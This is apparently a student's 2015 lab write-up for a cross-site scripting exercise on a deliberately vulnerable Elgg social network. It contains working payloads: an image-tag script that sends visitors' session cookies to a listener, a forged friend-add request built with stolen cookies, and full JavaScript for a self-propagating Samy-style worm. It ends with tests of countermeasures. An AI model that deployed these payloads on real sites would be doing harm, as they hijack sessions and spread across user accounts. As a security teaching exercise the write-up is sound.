Problem Set 4

Joe Puccio

November 30, 2015

Prelude

I've been using VirtualHosts in Apache for quite some time, but I didn't realize that you could stuff all of the VirtualHost declarations into one file (I've been creating a new file for each of the domains I want hosted on that server). Apache must scan that entire directory for VirtualHost declarations because it's worked fine for me (my guess is that it's advantageous when you have many domains which could have very long host definitions).

Task 1

I added " $< script > alert(XSS); < /script >$ " as text to the Alice account's "About me" section. At first save, the text wasn't interpreted by the browser as executable Javascript, and was displayed simply as text. I tried editing the section again and saving it and that appeared to work get the browser to interpret the text as Javascript. At first I thought it could be because browsers are only going to execute Javascript in the DOM on first page load, but after some investigation it became clear that the text editor input of the profile actually does convert control characters (such as angle brackets and semicolons) to their HTML encoded equivalents, thus acting as a form of protection). Instead of re-editing the profile, one can simply enter the HTML editor version of the profile and enter the XSS attack in one go. The reason why this XSS attack is possible is because the input validation to strip " $< script >$ " tags from all forms of user input has been disabled in Elgg on the provided VM. Any time a user is responsible for text that's displayed in other users' browsers, this sort of stripping is essential. I was surprised by the insertion of " $<![CDATA[$" in the script tags of the XSS injected Javascript. It seems like this " $<![CDATA[$" wrapping is what ensures that the contents of the HTML tags are interpreted as text rather than control characters. This must be used by Elgg to ensure that when users write HTML in their profiles, the text portion of that HTML is interpreted as text and not control characters for the HTML. Viewing the profile as another user, as expected, results in the execution of the alert script.

Task 2

I added " $< script > alert(document.cookie); < /script >$ " again as text to the Alice account's "About me" section. Viewing Alice's profile from another user results in a dialog displaying something like "$Elgg = jl2uqvcso1j1bvpahhebov26i1$", which are all the cookies (in this case, there's only one; if there were more, they'd be semicolon delimited) of the user for the domain the script executed on (in this case, www.xsslabelgg.com). This seems to be the login cookie of the user currently logged in, and it is likely randomly generated and is used to authenticate the user across page visits.

Task 3

Now, we're tasked with actually trying to steal something from the user. In the previous examples, information revealed by the XSS attack was only capable of being seen by the browser. We now have to ping an attacker controlled server with the cookies in order to be more than just an annoyance of Javascript

popups. I downloaded and compiled the echoserver script, which simply binds to a parameter-specified TCP port and echos anything it hears. Then, adding to Alice's profile "$<script>document.write(“<imgsrc=http://localhost:5555?c=”+escape(document.cookie)+”>”);</script>$", and running echoserver on the same machine, and visiting Alice's profile as another user resulted in echoserver printing out "$GET\ /?c=Elgg\%3Dd2uq1v3jojrhb6u8no2hbfjd30\ HTTP/1.1$". Essentially, what happened here is upon loading Alice's profile, the browser sees a script tag which it tries to evaluate, which writes HTML to attempt to load an image from an external file (served locally, for this example), with the address "http://localhost:5555". As parameter to this GET request, "c" is passed with the value of the browser's cookie for that domain. The browser then does a TCP handshake with our echoserver program, and then starts talking HTTP and makes the GET request for the file. Of course, no such file exists and this was simply a hack to get the cookies of the user who viewed the page, which they happily passed as a parameter to the GET request.

Task 4

I really prefer to do automated requests with Curl (so much more straightforward and pro-tip: you can copy the corresponding Curl command of any request made in Chrome by right clicking the request in the Network tab, which makes this stuff super easy), but I relented and used Java for this one. So, to spoof the friend adding process, I first captured the auth cookies of one of the users for use in the request. Then, I added a friend while examining the HTTP headers using the LiveHTTPHeaders browser extension to figure out the format of the request and the parameters sent with the request. The request was a GET to "/action/friends/add?", with a friend parameter with the unique ID of the friend to add, and an elgg_ts and elgg_token value. After taking the values of these three parameters from the request captured by LiveHTTPHeaders, and adding a line to the Java: $urlConn.addRequestProperty("Cookie","[capturedcookie]");$, compiling the Java with "javac", and executing the result, the script responded with a 200 OK message (as well as the HTML of the response), indicating the request had been made and a response was received. A visit via the browser to the user page corresponding to the user ID used in the request, while logged in as the user whose cookies were sent in the request, shows that the request worked and the user was added to their list of friends. Interestingly, a notification message "you've added [user]" was displayed on the top right of the screen, despite the request not having been made by the browser. Perhaps Elgg has a system for notifying users of changes made that was not returned in the 200 OK response to the Java, and thus it was displayed on the subsequent visit? This would be strange, but possible.

Task 5

Because all of the variables needed to populate this request were defined in one of the first script tags on the page, the task was rather trivial. I figured out which parameters were sent when a user updated their profile by examining them with LiveHTTPHeaders. Because it seemed like every editable field was sent with the request even if it wasn't modified (including an "accessLevel" parameter for each of the parameters that could be changed, such as description, location, etc), I decided to take the lazy route and guess which ones were necessary. I guessed that only "name", "guid", "description", and the two security tokens would be necessary to change the "about me" section. In spirit of the actual Samy worm, I changed the description to "samyismyhero", so this code would only run once because it would replace itself with "samy is my hero". This obviously would be fixed by inserting "samyismyhero" in addition to re-injecting the code, but we're not concerned with doing so at this point. I found that Samy's profile had an ID of 42, the answer to the Universe. So, slightly modifying the profile edit request to be a GET to the /action/friends/add script, I was able to have Samy added as a friend when the script was ran. I had the script add Samy as a friend before modifying the description field, even though the order doesn't really matter because this code will execute once in its entirety (as it's running client side) independent of server-side modifications. When switching to the content-type multipart/form-data, the profile was not modified. The request appeared to be made with

all the parameters, but the response to the request actually contained an error message when examining the request in Firebug (the HTML response contained a message that read "The size of the file(s) uploaded exceeded the limit set by your site administrator). Perhaps the server doesn't accept the multipart/form-data MIME type for these fields, and defaults to this error because the form-data type appears to be used for uploading large amounts of data. I've attached the code below:

```
<script type="text/javascript">// <![CDATA[
var Ajax=null;
Ajax=new XMLHttpRequest();
var content="friend=42&__elgg_ts="+elgg.security.token.__elgg_ts
+"&__elgg_token="+elgg.security.token.__elgg_token;
Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?"+content,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);

var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var content="name="+elgg.page_owner["name"]
+"&description=samyismyhero&guid="+elgg.page_owner["guid"]
+"&__elgg_ts="+elgg.security.token.__elgg_ts
+"&__elgg_token="+elgg.security.token.__elgg_token;
Ajax.send(content);
// ]]></script>
```

Task 6

This task was also rather straightforward, although I found employing the "outerHTML" call on the script object to be key to circumvent the editor's interpretation of the code whilst still getting the text to execute as a script. Moreover, introducing the accessLevel to something (I set it to public) for the description as a parameter for modifying the profile was essential, as without it the description appeared to be private (viewable only by the owner). It was also important to escape the HTML being passed in as a parameter to profile/edit. It became clear after a first successful copy attempt, that "concat" was needed to replace all my previous uses of "+", which were being treated as spaces (as per the URL encoding spec). The script successfully copies itself to any user who visits an infected profile, and adds Samy as a friend of the newly infected:

```
<script type="text/javascript" id="worm">// <![CDATA[
var Ajax=null;
Ajax=new XMLHttpRequest();
var content="friend=42&__elgg_ts=".concat(elgg.security.token.__elgg_ts,"&__elgg_
token=",elgg.security.token.__elgg_token);
```

```
Ajax.open("GET","http://www.xsslabelgg.com/action/friends/add?".concat(content),true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);

var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var bro = document.getElementById("worm");
var content="name=".concat(elgg.page_owner["name"],"&accesslevel[description]=2
&description=samyismyhero",escape(bro.outerHTML),"&guid=",elgg.page_owne
r["guid"],"&__elgg_ts=",elgg.security.token.__elgg_ts,"&__elgg_token=",elgg.sec
urity.token.__elgg_token);
Ajax.send(content);
// ]]></script>
```

Task 7

After turning on only the HTMLawed 1.8 countermeasure and visiting an infected profile, the entire script which was previously interpreted as Javascript and therefore executed rather than displayed as text was now being displayed as text in the "About Me" section. The script appeared to be displayed as was, with all characters unchanged, simply as text. Because this countermeasure caused the XSS to be displayed as text rather than be executed, the user I was visiting the infected profile with did not become infected nor did they automatically add Samy as a friend. Thus, the HTMLawed countermeasure very much did its job. After struggling with sed for some time, I gave up and manually uncommented all of the htmlspecialchars lines in the files listed, although, I didn't notice a difference in visiting the victim's profiles. I was surprised as I anticipated the HTML source of any angle brackets displayed after this change to be the special chars equivalent (e.g. "*&lt*") rather than an actual angle bracket, which would act as a further protection against browsers interpreting user input as Javascript to be executed.